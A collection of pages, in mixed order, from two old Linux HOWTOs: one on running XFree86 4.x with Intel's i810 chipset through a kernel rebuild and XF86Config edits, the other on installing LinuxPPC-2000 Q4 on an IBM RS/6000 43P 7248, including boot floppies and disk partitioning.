This document has a very specific purpose; to help people who are failing to get X working on Intel's i810 graphics chipset (hereafter "the i810"). It is written by a beginner (me), and it is imagined that it will be of use primarily to other beginners. The author would be flattered to hear that he has helped anyone more skilled than he. Furthermore, I know that the i810 works with XFree86 3.3.6, but I personally have not trod that path. My experience comes purely from XFree86 4.0 (hereafter "X4.x") and the i810/agpgart support available in the 2.2.18 and 2.4.x kernels, and consequently this HOWTO tackles that solution, or procedure, alone. The instructions that follow were written to the 2.4.x compile tune, but the procedure is similar enough to be translatable to the 2.2.18. Use your head, as Tony Buzan would say, and read the READMEs to be sure of any required alterations of method.

Even though I know this procedure works I feel obliged to point out that what I have recorded here is mostly that which I have worked out in my own bumbling way. It may well be that others know a quicker and more efficient method than that which follows. If so I will be happy to hear from them. As I mentioned previously, the i810 will work with XFree86 3.3.6, if one also uses some drivers designed by Intel for the task (namely XFCom_i810-1.2-3 and I810Gtt-0.2-4) but, in the interests of Linux purity, and of course knowing one does not have to use Intel's software, I recommend the method detailed here. It does not need Intel drivers.

Finally, no introduction would be complete without the following words of caution; this HOWTO should be regarded as a 'bare bones' set of instructions and should therefore be followed with all relevant README literature to hand. What follows is not exhaustive by any stretch of the imagination, and needs, at least for beginners, said README stuff.

Prev | Home | Next
i810 with XFree86 4.x HOWTO |  | Down to business


Down to business

i810 with XFree86 4.x HOWTO
Prev Next

2. Down to business

Note: Do everything that follows logged on as root.

There are three distinct stages that need not be followed in the order listed here (please feel free to use your imagination). Said stages are;

  • get and install X4.x

  • get and compile kernel 2.2.18 or 2.4.x (including mknod agpgart stuff)

  • nimbly tweak XF86Config

2.1. Getting and installing X4.x

The first stage is of course listed only as a guide for those who have perhaps tried getting XFree86 3.3.6 working with the i810 and failed, or perhaps those who have not even heard that X4.x supports the i810 and have been struggling vainly with their XF86Config file. I suppose the majority of people who find these instructions useful will have already loaded X4.x. You lot can skip this bit. Anyway, if you do need to know, X4.x can be got from; ftp://ftp.xfree86.org/pub/XFree86/4.0/binaries

But before you rush ahead and download away you must first be sure which version of X4.x suits your system. So download Xinstall.sh on its own and run (from within the folder containing Xinstall.sh):

sh Xinstall.sh -check

The results will direct you to the correct folder within the above mentioned URL from where the appropriate files for your system can be downloaded.

For a basic installation and to save time downloading one needs only the following absolute necessities, without exception (the others are optional and when included in the install process, I feel, increase the chances of things going wrong for the unwary and inexperienced):

extract[.exe] | Xdoc.tgz | Xvar.tgz
Xbin.tgz | Xfenc.tgz | Xxserv.tgz
Xlib.tgz | Xfnts.tgz | Xmod.tgz
Xman.tgz | Xetc.tgz |

Now knowing which set of files are suited to your system you can go ahead and download whichever suits. Then install with the following command (from within the folder containing freshly downloaded files):

sh Xinstall.sh

If you have been good everything will proceed smoothly. You will be asked some questions which the README file can explain/answer better than I. If something doesn't work as expected I refer you to the far more detailed, aforementioned README file, which you should definitely peruse. As a newbie I always read the readme files before downloading, installing, compiling and even getting up from my seat to go to the toilette. You can never be too sure.

That is the end of this stage.

2.2. Get and compile kernel 2.2.18 or 2.4.x (including mknod agpgart stuff)

You can get either kernel from ftp://ftp.kernel.com. Of course, read everything called README while you are at it. (In the README literature that comes with the 2.4.x kernel, there is an important note about where to unpack the source. Make sure you read it.) Put the kernel source file in /usr/src/kernels, and then run the following compile sequence, which I learned from a linuxnewbie article (to which you should refer if my directions are not clear enough for you, however it is specific to 2.2.x kernels). It can be found at the following address; http://www.linuxnewbie.org/nfh/intel/compiling/kernel_update.html. Of course, the location of the still-packed kernel is not really relevant, it only matters that it is unpacked to an acceptable location. OK, now for the commands:

tar -xzvf /usr/src/kernels/linux-2.4.x.tar.gz

or if you downloaded the better compressed bz2 version

bzcat /usr/src/kernels/linux-2.4.x.tar.bz2 | tar xv

and watch the screen spew out pages of information about what's happening. When it is finished it will have created a new linux folder.

OK, so, change to the new directory:

cd linux

and begin the compile process proper...

make config

Or preferably

make menuconfig

There's also make xconfig, but you haven't got X running, or you wouldn't be reading this. So that won't work. And I'm embarrassed to mention it in such an imperfect fashion but there is also something like make oldconfig but I can't find any reference to it in my books. In any case I am not addressing it here, though I am sure the procedure for it is very similar to that which follows for make menuconfig, should you be awkward and want to use it.

Now, I have gone through three text based kernel compiles (make config) and know how long winded they are. I reommend make menuconfig instead, which requires only that ncurses be loaded (you don't need X) and you will be taken through the pretty face of kernel recompilation. I loaded ncurses during a custom install of Red Hat 6.1, but I forget exactly at which stage that option is available. Otherwise ncurses is, I'm sure, on your distro's CD in rpm format, so if issuing make menuconfig just produces errors, install ncurses and try again.

The most relevant stages of the make process for solving our particular problem are:

  • to select EXPERIMENTAL early on (by hitting return while the very first option is highlighted and then selecting the only suboption which is consequently revealed),

  • towards the bottom of the base options, to enter "Character Devices" and select (not as "M" but as "*") "/dev/agpgart (AGP) support" (only available if the above instruction has been followed), and

  • select the appropriate sub-option of "/dev/agpgart (AGP) support" (again not as a module "M" but as a static part of the kernel "*"), namely the "I810/I810 dc100I810e support" part.

Note: The above explanation assumes you have run make menuconfig and so a little thinkology will be required to map it to a situation where make has been issued instead. But only a little.

(It has been pointed out to me that loading these features as modules would be more logical, since they are not required until startx is run. I have not tried the 'loadable module way' yet and will ammend this section of the HOWTO after I have tested it. I recommend the static mode here because I ran this procedure on a test version of the 2.4.x kernel and it was suggested to me that loading statically was a safer and stabler way to go. Now that 2.4.x is officially out there, perhaps modules will be more sensible. I'll let you know how it goes. (Thanks to Heron Ordonez for this.))

When all is over and you feel calm enough, do this;

make dep
make clean (not violently necessary but does no harm)
make bzImage (takes a while, this bit)
make modules
make modules_install

Now have a look at the /boot directory. You will probably see that System.map is a symbolic link to System.map-[your_kernel_version] and vmlinuz is a symbolic link to vmlinuz-[your_kernel_version]. This arrangement is true for many distros, but not all. I think some store vmlinuz in /, while System.map resides in /boot. Whatever the case is, use your brain and apply these instructions accordingly. So, basically you need to remove the symbolic links like so:

rm System.map
rm vmlinuz

Then new symbolic links need to be created to the about-to-be-copied-over-while-simultaneously-being-renamed, recently created files. It goes like this (assuming you have an i386 computer):

cp /usr/src/kernels/linux/arch/i386/boot/bzImage /boot/vmlinuz-2.4.x
ln -s /boot/vmlinuz-2.4.x /boot/vmlinuz
cp /usr/src/kernels/linux/System.map /boot/System.map-2.4.x
ln -s /boot/System.map-2.4.x /boot/System.map

Tip: You don't need to use absolute pathnames if you are in /boot. But if you are the excessively cautious type and do use absolute pathnames, you just have longer names for your symbolic files. In fact the whole symbolic link thing here is only necessary if you want to play it that way. Essentially, minimalistically, you can have one kernel called vmlinuz and name all the others by their version number (or just trash them!), and swap all the names around when you want to boot another kernel. Or give each kernel a unique name, and have one entry per kernel in /etc/lilo.conf. It's up to you.

Now you need to edit /etc/lilo.conf. This is achieved thusly:

image=/boot/vmlinuz
label=[what-ever-you-want-that-is-relevant-easy-to-type-and-remember]
read-only
root=/dev/hda[n]

After editing lilo.conf you must do this:

/sbin/lilo

so that the crisp, shiny, new linux kernel be made known to lilo, otherwise (I have experienced this) the new kernel will not be available for booting. Which would be silly. So after all this take a deep breath and reboot, select your new kernel and with fingers crossed, watch. It should work. If it does, go and celebrate a little. But don't let it get to your head because you have yet to mknod the agpgart module, a simple yet essential procedure done thusly:

cd /dev
mknod agpgart c 10 175

which basically creates the very essential character device (X won't run without it) driver which acts kinda like a 'go-between' for the i810 chipset and the X server. (Thanks to Heron Ordonez for saving me some embarrassment here.) Pretty scientic stuff. Sorry about that.

That was the end of this stage.

2.3. Nimbly tweak XF86Config

I've done a lot of this and it get's mighty tedious when it fails 23 times in a row I CAN TELL YOU, so pay attention and read very closely the man page (run man XF86Config at the command prompt). First of all I recommend running the in-no-way-user-friendly xf86config (observe case!) to genertate a base XF86Config file as the other tools seem to produce XF86Config files which are in my experience incompatible with X4.x. When you run through the questions xf86config asks and you reach the card section, there will be nothing for you to choose, so choose that very nothing. You'll be entering the right stuff later, after the base file has been created. Then, after answering all the questions as well as you can, save the file as /etc/X11/XF86Config.

So, finally, the all important addition is:

Section "Device"
Identifier "i810"
Driver "i810"
VideoRam "4096"

and it should be inserted in the Graphics Device Section. There should in any case be an existing "Device" section which you could edit if you prefer. From thereon you should, having defined the i810 for X, enter "i810" wherever you see a "Device" field. I am including a couple of sections from my XF86Config file as an example, and hopefully to make a little clearer what I mean:

Section "Device"
Identifier "i810"
Driver "i810"
VideoRam "4096"

Section "Screen"
Identifier "Screen 1"
Device "i810"
Monitor "Highscreen 17inch"
DefaultColorDepth 24
SubSection "Display"
Depth 8
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 15
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 16
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 24
Modes "1024x768"
EndSubSection
SubSection "Display"
Depth 32
Modes "1024x768"
EndSubSection
EndSection

Warning

As you can see I have only given X the option of "1024x768", and have a default colour depth of 24 bits, because I like it that way, and the i810 can easily cope with that resolution and depth on my 17" monitor. How that would work on a 21" I do not know. Experimentation will teach you.

I am going to be boring and say it again, but a more complete understanding than I can give here of the mysteries of the XF86Config file can be achieved by closely reading the man page (see above). This is really important if you want to have a chance of solving any problems that are bound to come up now and again, that have not been covered here.

That should do it. Now save XF86Config and run:

startx

It should work. It did for me. You will be happy. If not contact me at <trussl@hotmail.com> and I will endeavour to help you.

Note: This is a kind of a p.s. to this section but may be helpful. I had a wee problem when going through the XF86Config part of this HOWTO during a test run. It stemmed from having read but not fully understood some blurb about the i810 and X4.x not working at all resolutions with a buffer extension (or something like that). Anyway, I made no notes about this and cannot therefore remember exactly what I read. Because I remember this vaguely I can only say the following with certainty; you need the following stanza at the beginning of your XF86Config file:

# This loads the DBE extension module
Load "dbe" # Double buffer extension
# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
SubSection "extmod"
Option "omit xfree86-dga" # don't initialise the DGA extension
EndSubSection

So if X reports errors about a "shape extender" or "shape extension", you may well find that your XF86Config file is missing the above listed stanza.

Prev | Home | Next
Introduction |  | Thank you


Thank you

i810 with XFree86 4.x HOWTO
Prev

3. Thank you

I must point out that I would not have known how to fix the i810 and X4.x problem if it were not for the pioneering efforts of Val Henson who guided me through the process and recommended the 2.4.x kernel in the first place. And now that this is an ammended version, I would also like to thank Heron Ordonez for pointing out a few problems which I have in part addressed, and will fully address in due course. Curtis Stone pointed out to me that the features I thought only available in the 2.4.x kernel were present in 2.2.18. Thanks to him too. I am now also endebted to Cameron Kerr for pointing out that the 2.4.x kernel must not be unpacked in /usr/src/linux. I had had no success with the 2.4.x until this was pointed out to me, but would have been OK had I read the accompanying README, ie followed my own instructions.

If this process carries on in this fashion the 'Thank you' will one day be the largest section of this HOWTO. This is an open process and all comments (politely phrased of course!) are welcome.

Prev | Home
Down to business |


Boot the machine

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

8. Boot the machine

In this chapter we will boot our fresh installed system for the first time, and make some small custom changes to make it work as it should

You are done! If everything worked, you should now be able to reboot you're system, and start LinuxPPC-2000 Q4 for the first time. Reinsert the boot floppy disk in the floppy drive, and switch the machine on again. If it won't boot, try to hit F5 at the splash screen while the system check icons pop up in the bottom of the screen. At the boot prompt, ("Linux/PPC load:") you must add a boot parameter to make the system find your root partition. (That's usually the main system partition.) Press backspace to remove what's already there, and add something like this:
       root=/dev/sda5
I use sda5 as sda5 is where I have installed my root partition, that is, the partition mounted at "/". You might have something different, and you should have written it down when you partitioned you harddisk(s). You did, didn't you?

The system should boot up, and after a minute or so, greet you with a login prompt. Congratulations, you have installed LinuxPPC-2000 Q4 on your computer! From here, you have to know how to use linux. This is absolutely outside the scope of this document, but if you are a complete newbie, you could for example check out Linux Administration Made Easy by Steve Frampton, and start at chapter 6, since you've already got your system up.

If you are not an US citizen, you should look over the X configuration file to get your local keyboard. Use a text editor like vi or pico, just like we did to get the installation system to work. Try
       vi /etc/X11/XF86Config
and scroll down to the Keyboard section. Check that you have settings that suits you. Edit as you wish. You may also want to remove LinuxPPC's annoying attempt to autoconfigurate X for you when the machine boots into runlevel 5.
       rm -f /etc/rc.d/rc5.d/*Xautoconfig

The next time you power-cycle the box, you must again boot from the floppy. The bootloader arguments at the boot prompt ("Linux/PPC Load:") should be still be something like this:
       root=/dev/sda5
Where of course, you may have something different from sda5, according to where your root partition is.

This is the time to install the rest of the system, with all the packages that are on the software CD. Login as root, open a terminal window, insert the CD, mount it, and start the package upgrade program:
      mount -t HFS -o ro /dev/scd0 /mnt/cdrom
      xupgrade

Prev | Home | Next
Install the system |  | Set up networking


Appendix: Using cfdisk to partition your harddisk

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

16. Appendix: Using cfdisk to partition your harddisk

16.1. Hardisk names

SCSI harddisks are named with sdx, where x is a hardisk letter. The disk with the lowest SCSI ID on the first controller will become sda, the next lower sdb, an so on.

If you have IDE harddisks, they are called hda, hdb, hdc, and so on instead, where hda is the master disk on the first controller, hdb is the slave disk on the first controller, hdc is the master disk on the second controller, and so on.

16.2. Harddisk partitions

GNU/Linux systems usually use a partition scheme where a harddisk can have up to four primary partitions. If you want more, you have to make one of these an extended partition where you can make several logical partitions. The partitions are named with the disk they belong to, and a number. The first primary partition on the first SCSI disk is therefore sda1, the second primary partition is sda2, and so on. The first and second logical partition on an extended partition on the first SCSI disk is sda5 and sda6, and so on. If this makes absolutely no sense to you at all, try to read Section 17.

16.3. Starting cfdisk

you start cfdisk from the command line with the command
        cfdisk /dev/sdx
where x is the SCSI hardisk letter, like a, b, c, d, etc. So if I want to partition the first harddisk on the SCSI controller, I'll enter the command
        cfdisk /dev/sda

16.4. Using cfdisk

16.4.1. The user interface

After you have started cfdisk you'll get an interface where the current partition table is listed with the names and some data about each partition, and some command buttons on the bottom of the screen. To change between partitions, use the up and down arrow keys. To change between commands, use the left and right arrow keys.

16.4.2. Deleting a partition

To delete an existing partition, highlight it with the up and down keys, select the Delete command with the left and right arrow keys, and press Enter.

16.4.3. Making a new partition

To make a new partition, select the New command with the left and right arrow keys, and press enter. You'll get the choice between a primary and a logical partition. If you want a logical partition, the program will automatically make an extended partition for you. Then you must choose the size of the partition (in MB). If you can't enter a value in MB, return to the main screen with the Esc key, and select MB with the Units command.

16.4.4. Set the type of a partition

To set the type of a partition, for bootable PReP, Linux swap or Linux ext2, highlight the actual partition, and select the Type command. You'll get a list over different types. Press space, and you'll get even more. Find what type you need, and enter the number at the prompt.

16.4.5. Make a partition bootable

To be able to boot from a primary partition, you need to make it bootable. Highlight the actual partition and select the Bootable command.

16.4.6. Write the result to disk and quit

When you are content with the layout of the disk, select the Write command. The partition table will be written to disk. Remember that this will destroy all data on partitions you have deleted or changed. You should therefore be very sure that you want to do this before actually press the Return key.

To exit the program, select the Quit command.

Prev | Home | Next
Frequently Asked Questions |  | Appendix: More on partitioning


Index

Symbols

7248
7248-133, The IBM RS6000 43P 7248-133

A

abstract, Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO

B

bios, Where is the BIOS?
boot, Boot the machine
boot prompt, Boot the machine

C

CD, Buying a CD
copyright, Copyright Information and Legal stuff
credits, Credits

D

disclaimer, Disclaimer and scope

E

ethernet, Support for the integrated ethernet adapter

F

feedback, Feedback
floppies, Make boot floppies
Frequently Asked Questions
FAQ, Frequently Asked Questions
FTP, Download CD images over FTP

H

hacks, Make some hacks
hardware, More info about the hardware
hostname
gateway, Set hostname and gateway
hosts file, The hosts file

I

installation files, Get the installation files
installation program, Boot the machine and start the installation program
introduction, Introducion
ip address, Set IP address and netmask

K

kernel, Update the kernel and tune the X Window system
kernel version
kernel patches, What files to download

L

linux-2.4, Linux-2.4
LinuxPPC-2000 Q4 installer, The LinuxPPC-2000 Q4 installer

N

nameserver, Nameserver specification
network, Set up networking
Network-install, Network installation

O

overview, Overview

P

packages, Select and install packages
partition, Partition the harddisk(s)
partitioning
cfdisk, Appendix: Using cfdisk to partition your harddisk
partitions, Partition the harddisk(s)
password, Make a root password and exit
PReP boot partition, The PReP boot partition?

R

RAM, It won't boot at all. Could it be bad RAM?
resources, Resources

S

SMS, Setting up the hardware with SMS
sound, Set up sound

T

todo, Todo
translations, Translations

V

versions, New versions

X

Xconfigurator, Make some hacks
Prev | Home
Appendix: More on partitioning |


Frequently Asked Questions

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

15. Frequently Asked Questions

In this final chapter I've included som frequently asked questions. This list should probably be much longer. Please let me know if you have something to add.

15.1. XF68 or XF86

What is right, XF68 or XF86?

I have got a lot of questions conserning the name of the X-server in the installation program. I have called it "XF68_FBDev". On some CDs the server has got another name, "XF86_FBDev". The reason for this naming convention and confusion is purely historical. The Linux Frame Buffer Device was first developped on m68k Macintoshes, and the XFree86 server for the device was hence called XF68_FBDev. Later on the Frame Buffer Device was ported to other platforms like the x86 clones and PowerPC. What is the right name? The question is left as an exersice for the reader.

15.2. There is "snow" on my X desktop

How can I configure X so it removes the "snow" on my desktop?

The easy answer is: You can't. The kernel frame buffer device made by David Monro is still in an early stage, though working very well. Distortions in the picture when moving the mouse or scrolling a window are perfectly normal at eg 1024x768@60Hz. If you are a hacker, please fix it and post a patch to David. We would all love it very much.

15.3. I can't get my hardware to work

How can I get my new ultra whizbang XYZ card to work?

The 7248 is a PC-like box with ISA and PCI interfaces, so one should think that using "normal" PC hardware made for the x86 platform should work flawlessly. Sadly to say, it doesn't. The drivers often have to be ported, and there are not that many Carolina motherboard kernel hackers out there. In addition, much hardware made for the x86 platforms uses BIOS calls to work properly. As the 7248 and its relatives does not have such a BIOS, it's extremely difficult to get this hardware to run under Linux. Note: Linux-2.4 has fixed many of these problems. See below.

That said, there are working hardware for this box that runs with Linux. For questions about this, please contact the Workstation list, see Section 13.

Update: With the latest versions of the Linux 2.4 bk development tree (NOT the official Linux 2.4 sources), many of the problems stated above are fixed, and much more hardware is supported. For example did I put a standard eepro100 card in my box, and it worked flawlessly. This means you can use the 7248 for example as a packet-filtering firewall. I've also heard rumours on plain standard ISA Soundblaster cards working. Try and see if your card works. If it's interesting, send me an email, and I'll put a note here. See Section 12 for notes on building and installing a 2.4 kernel.

15.4. Me wants another distro!

Why do you not support more distributions in your howto?

There is one easy answer for this: I have not got the time to do this. I got LinuxPPC-1999 to work on my 7248 a year or so ago, and have not changed away from LinuxPPC since then. I plan to install Debian some time in the future, and have tried both SuSE and Yellow Dog, and have found that much of the steps are quite equal. The most troublesome part is to get the machine to boot the installation program. From there, each installer should do the job more or less itself. Getting X and sound to work should be more or less similar for all distributions, so just read the steps in this howto and try to make it work on your own. Feedback for this document is very welcome.

15.5. Boot floppies on other distributions

Can I use the floppies mentioned in this howto for other distributions

The bootfloppy mentioned in this howto should have support for all the hardware in the 7248, so you should be able to boot any distribution which uses the same floppy based installation scheme, that is, with the installation program on a ramdisk on one or more floppy disks. This means you should be able to boot LinuxPPC, SuSE, Yellow Dog and Debian with the bootimage. You have to have each distributions own installer ramdisk floppies, though.

15.6. The PReP boot partition?

Where should I mount the PReP boot partition?

To be able to understand the answer for this question, it's important that the reader understands how the 7248 boots into Linux. This is a three step procedure. First, the Firmware (which behaves in the same way as a PC BIOS) looks for something to boot. Usually, it should check the floppy drive, the CD drive, and then the first SCSI disk. On the SCSI disk it will look for a special partition called a PReP boot partition. On this partition, it will read the first program it can find there. If this is a Linux kernel bootloader, it will read and run this, and then the bootloader boots Linux. From here, Linux is in charge.

Many have asked where they should mount the PReP boot partition (the type 41 partition). This is a common misunderstanding. The PReP boot partition, usually located on /dev/sda1, should NOT be mounted anywhere. The files on this partition, usually only a single Linux kernel with a static linked kernel loader, are only used by the firmware when booting. The operating system does not use these files after the kernel has booted, so there is no need for mounting that partition.

Some people mix the meaning of the /boot directory and the PReP boot partition. Both use to contain kernels, but their use are different. /boot is used for storing kernels for later use, and for bookholding system info. The /boot directory is NOT read by the Firmware at boot time, so changing the contents of this directory does not change the way the Firmware loads Linux.

To be able to load a new kernel, you have to replace the existing kernel on the PReP partition. This is done with the dd command, see Section 10 for details.

15.7. It won't boot at all. Could it be bad RAM?

The machine won't boot at all. I suspect the RAM could be the problem. What kind of RAM should I use for this box?

The 7248 and it's cousines with Carolina motherboard do use special RAM, more specifically, they use only parity RAM. David Monro states that is is possible to make them work with other types of RAM if you remove the cache. Look at Section 13 for details.

Prev | Home | Next
Todo |  | Appendix: Using cfdisk to partition your harddisk


Make boot floppies

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

5. Make boot floppies

In this chapter we will learn how to make useable boot floppies from files downloaded from the Internet.

5.1. What floppies to make

To install LinuxPPC-2000 Q4 on the 7248 you need three floppies: One bootfloppy, and two ramdisk floppies.

The bootfloppy is a precompiled Linux kernel image called carolina_bootimage_2.2.18_with_fb, and it can be found in the images directory on my homepage.

The ramdisk floppies are in the ramdisk.image.gz file found in the install directory on a LinuxPPC ftp mirror or on the CD. But it would be easier, at least for ms-dos users to download 1.44MB sliced images, also from my images directory over http.

If you use Netscape or another web browser to download the files, you should check that the sizes of the downloaded files are correct. Some versions of Netscape tend to uncompress compressed files, and we want to keep them compressed. This yields especially for the ramdisk.image.gz file(s). If strange freezes or other things happens at boot time, try using another program for downloading the files, like wget or lynx.

5.2. How to make the bootfloppies

Use always errorfree 1.44MB floppies for these images. The commands shown here is for a working Linux system. They might work on other UNIX systems as well. On some systems you may have to be root to write directly to the floppy drive. In those cases, just su root before issuing the commands.

For MS-DOS, you may use the rawrite util. You can download rawrite from several places, for example a RedHat mirror as ftp://ftp.freesoftware.com. More information on how to use rawrite here.

To make the bootfloppy, insert a floppy in the drive, cd to the directory containing the bootfloppy image and issue the command:
          dd if=carolina_bootimage_2.2.18_with_fb of=/dev/fd0 bs=36b conv=sync
Label the disk "Boot floppy" or whatever you like.

To make the first ramdisk floppy, insert a floppy in the drive, cd to the directory containing the ramdisk image, and issue the command:
       dd if=ramdisk-2000-Q4-floppy-image.1 of=/dev/fd0 bs=36b conv=sync
(If you use the ramdisk.image.gz from the CD or a ftp mirror, try dd if=ramdisk.image.gz of=/dev/fd0 bs=36b conv=sync count=80 ) Label the disk "Ramdisk root floppy (#1)" or whatever you like.

To make the second ramdisk floppy, insert a floppy in the drive, cd to the directory containing the ramdisk image, and issue the command
       dd if=ramdisk-2000-Q4-floppy-image.2 of=/dev/fd0 bs=36b conv=sync
(If you use the ramdisk.image.gz from the CD or a ftp mirror, try dd if=ramdisk.image.gz of=/dev/fd0 bs=36b conv=sync skip=80) Label the disk "Ramdisk floppy #2" or whatever you like.

Prev | Home | Next
Get the installation files |  | Boot the machine and start the installation program


Get the installation files

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

4. Get the installation files

This chapter describes how to get your hands on a copy of the LinuxPPC-2000 Q4 operating system.

4.1. Buying a CD

The easiest way to get all the files you need is perhaps just to buy an official CD set. You may order the CD set directly from http://order.linuxppc.com or you may try to find a local reseller, linuxppc.com has a list here.

4.2. Download CD images over FTP

The other way around is to download preformatted CD images, and burn them out yourself. You can download installation CD images for example from Linuxiso.org. You should download the LinuxPPC-2000 Q4 install image and the LinuxPPC-2000 Q4 software image. There are some interesting readme files on the download sites on burning the files to a CD-ROM.

To make a CD, you need some CD burning software package. This is outside the scope of this document, allthough any good CD burning software should be able to do it. Remark that the images are in HFS format, and NOT the usual iso9660 format.

4.3. Network installation

Other Linux distributions have often support for direct installation via a network connection. This is not currently supported in LinuxPPC-2000 Q4, at least not on these machines, yet.

Prev | Home | Next
Setting up the hardware with SMS |  | Make boot floppies


Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev

Index

Prev | Home
Appendix: More on partitioning |


Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO

Ingvar Hagelund

ingvar@linpro.no

Revision History
Revision 1.52 | 2001-08-29 | Revised by: ih
Added a chapter on Linux 2.4. Fixed some dead and wrong links. Fixed a lot of typos.
Revision 1.51 | 2001-04-06 | Revised by: ih
Download site for LinuxPPC-2000 Q4 cd images
Revision 1.50 | 2001-02-06 | Revised by: ih
Now supports LinuxPPC-2000 Q4
Revision 1.40 | 2000-12-14 | Revised by: ih
Translated to SGML. This is the initial release for LDP

This document describes the installation of LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 series.

Table of Contents
1. Introducion
1.1. Copyright Information and Legal stuff
1.2. Disclaimer and scope
1.3. New versions
1.4. Credits
1.5. Feedback
1.6. Translations
2. Overview
2.1. The IBM RS6000 43P 7248-133
2.2. What's the matter, why not use the original installation procedure?
2.3. An overview on what to do
3. Setting up the hardware with SMS
3.1. Where is the BIOS?
3.2. How to use the SMS
3.3. What settings to use
3.4. More info about the hardware
4. Get the installation files
4.1. Buying a CD
4.2. Download CD images over FTP
4.3. Network installation
5. Make boot floppies
5.1. What floppies to make
5.2. How to make the bootfloppies
6. Boot the machine and start the installation program
6.1. Boot the machine
6.2. Make some hacks
7. Install the system
7.1. The LinuxPPC-2000 Q4 installer
7.2. Partition the harddisk(s)
7.3. Mount the partitions
7.4. Select and install packages
7.5. Make a root password and exit
8. Boot the machine
9. Set up networking
9.1. Support for the integrated ethernet adapter
9.2. Configuration files
9.3. Set IP address and netmask
9.4. Set hostname and gateway
9.5. Nameserver specification
9.6. The hosts file
9.7. Restart the network
10. Update the kernel and tune the X Window system
10.1. Why update the kernel
10.2. What files to download
10.3. Unpacking and patching the source
10.4. Configuring the kernel
10.5. Compiling and installing the kernel
10.6. Set up X
11. Set up sound
11.1. Support for the integrated sound adapter
11.2. Configure and compile the kernel
11.3. Configuring the modules
11.4. Reboot and pray
12. Linux-2.4
12.1. Get the 2.4 source
12.2. Compile the 2.4 kernel
12.3. Install the 2.4 kernel
13. Resources
13.1. Other resources on Linux/PPC and 43P boxes
13.2. Installing other flavours of Linux on the 7248
14. Todo
15. Frequently Asked Questions
15.1. XF68 or XF86
15.2. There is "snow" on my X desktop
15.3. I can't get my hardware to work
15.4. Me wants another distro!
15.5. Boot floppies on other distributions
15.6. The PReP boot partition?
15.7. It won't boot at all. Could it be bad RAM?
16. Appendix: Using cfdisk to partition your harddisk
16.1. Hardisk names
16.2. Harddisk partitions
16.3. Starting cfdisk
16.4. Using cfdisk
16.4.1. The user interface
16.4.2. Deleting a partition
16.4.3. Making a new partition
16.4.4. Set the type of a partition
16.4.5. Make a partition bootable
16.4.6. Write the result to disk and quit
17. Appendix: More on partitioning
Index
Next
Introducion


Boot the machine and start the installation program

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

6. Boot the machine and start the installation program

In this chapter we will find out how to get the installation program up and running.

6.1. Boot the machine

To boot the 7248, just insert the bootdisk and switch on the machine. Insert the installation CD at the PowerPC splash screen. If it won't boot off the floppy drive, check SMS settings (Section 3), and try to force a floppy boot by pressing F5 (or F6) at the bootscreen while the check icons pop up in the bottom of the screen. After a while, the screen blanks out, and Linux will boot. At this point, you can shout a little "hooray" for yourself, if there are not too many in the room, and Tux, the Linux Penguin will show up in the upper left corner of the screen. Insert the ramdisk root floppy and ramdisk floppy #2 when prompted.

After some seconds, the installation program will complain about a lot of things. It can't find a usb mouse, it can't start the Xpmac X-server, it can't open the local display, and that kind of things. Don't worry, we'll take care of this in a minute. Just press enter, and you'll be thrown to a standard root bash prompt. For those of us who have used Unix systems earlier, this is enough to give good vibrations. For all others: Don't Panic [tm].

6.2. Make some hacks

To be able to start the installation program, we have to change the standard PowerMac setup to something that is useable for the 7248. This is what we are going to do in this section. Remember that all commands are case sensitive.

First, let's set up mouse, to make them work correctly with X. Issue these commands:
          rm -f /dev/mouse
          ln -s /dev/psaux /dev/mouse
Done! Now, that wasn't too difficult, was it? Let's continue with some X configuration. Issue these commands:
        cd /etc
        mv X11/XF86Config X11/XF86Config.old
        cp XF86Config.PReP X11/XF86Config
        rm -f /etc/X11/X
        ln -s /usr/X11R6/bin/XF68_FBDev /etc/X11/X
This XF86Config.PReP file is not complete, it so we have to fix it. The easiest way to do this is to run Red Hat's Xonfigurator program
        Xconfigurator
and follow the instructions on the screen. The usage of Xconfigurator is beyond the scope of this document, but it's quite easy. If you need help, try the Xconfigurator section in the Red Hat Installation guide. Xconfigurator should figure out that we use the IBM E15 frame buffer device by itself. Note that the frame buffer device has only support for 256 colors, so only 8 bit mode should be selected. Follow the on-screen instructions and enter values that match your Screen. Resolutions of 800x600 or 1024x768 should be allright. Skip the test at the end. It will fail.

If you try it ouy, you will maybe conclude that the X-server does not work. Again, Don't Panic [tm]. The reason for this is that Xconfigurator presumes you have an X font server running. You don't, so we have to add Font Paths manually. Edit the configuration with
        vi /etc/X11/XF86Config
(What? You don't like vi? Read this to get started.)

Look for the line which contains the FontPath. Comment out (that is: Put a '#' in front of) the existing line containing something like "unix/:7100", and add these lines instead.
        FontPath    "/usr/lib/X11/fonts/misc/:unscaled"
        FontPath    "/usr/lib/X11/fonts/cyrillic/:unscaled"
        FontPath    "/usr/lib/X11/fonts/100dpi/:unscaled"
        FontPath    "/usr/lib/X11/fonts/75dpi/:unscaled"
        FontPath    "/usr/lib/X11/fonts/Speedo/"
        FontPath    "/usr/lib/X11/fonts/Type1/"
        FontPath    "/usr/lib/X11/fonts/misc/"
        FontPath    "/usr/lib/X11/fonts/cyrillic/"
        FontPath    "/usr/lib/X11/fonts/100dpi/"
        FontPath    "/usr/lib/X11/fonts/75dpi/"

You are now ready to start the installation program. Issue this command, and go for it:
        start_installer

Prev | Home | Next
Make boot floppies |  | Install the system


Install the system

Installing LinuxPPC-2000 Q4 on the IBM RS/6000 43P model 7248 HOWTO
Prev Next

7. Install the system

